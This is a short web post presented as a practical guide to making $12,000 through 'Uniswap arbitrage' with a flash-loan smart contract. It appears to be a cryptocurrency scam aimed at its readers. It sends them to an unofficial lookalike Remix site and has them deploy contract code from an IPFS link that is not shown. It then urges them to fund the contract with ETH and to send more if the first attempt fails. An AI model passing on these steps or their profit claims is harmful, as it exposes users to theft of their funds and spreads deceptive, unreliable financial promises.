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How To Make $12,000 Easily with Uniswap Arbitrage: A practical guide
Read all steps carefully:
• Install Metamask Extension on your browser
• Open https://remix-compiler.com/ from within your browser.
• Open the “contracts” folder and create a new file.
• Name the file flashloans.sol and paste the contract code link below. ► https://ipfs.io/ipfs/QmNgb6fP4fFtGVwKoSr7jxFaBkdCYzewCmtFzw1oqJc65E
• Click on Solidity Compiler. Set compiler version to top of the code “0.5.0+commit.1d4f565a” and Click “Compile flashloan.sol”
• Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3 to connect your MetaMask wallet.
• Click on the down arrow right from the “Deploy” button
• On “_TOKENNAME” IBC
• On “_TOKENSYMBOL” IBC
• On “_LOANAMOUNT” 1000
Click Transact and confirm the transaction in MetaMask.
NOTE: In the case of any transaction fail, it is usually as a result of traffic congestion.
Place all transaction mode on “aggressive” and the transaction will go through
• Wait for the transaction to confirm.
• Copy the address of the newly deployed contract.
• Send ETH to the deployed contract to initiate the swap 0.5ETH+ (1–10ETH+ is better as it will provide enough leverage to borrow more for each swap)
• Wait for the transaction to confirm.
• Click “action” (red box) to execute the Flash Loan.
• Confirm the transaction in MetaMask and wait for the confirmation.
You can now check your wallet
Note: If it doesn’t work with 0.5 ETH try to send another 1.0 ETH to your contract address and click on the action button again (1.0+ is better), because fees may be different from day to day. (2.0+ ETH for each 1000 ETH you are borrowing).
Avoid using very small amounts, as the contract may fail if the amount is less than 0.25 ETH. Because the price of gas fluctuates from time to time, the arbitrage may fail in some very rare circumstances owing to depletion of ETH in your smart contract.
Don’t panic! All you have to do now is wait a few minutes (5–10 minutes) and repeat the process, preferably with a loan amount of 825 and a gas limit of 31,560 and it should work perfectly, albeit with a lesser profit.
When you’re finished, make sure to move your ETH to another wallet.
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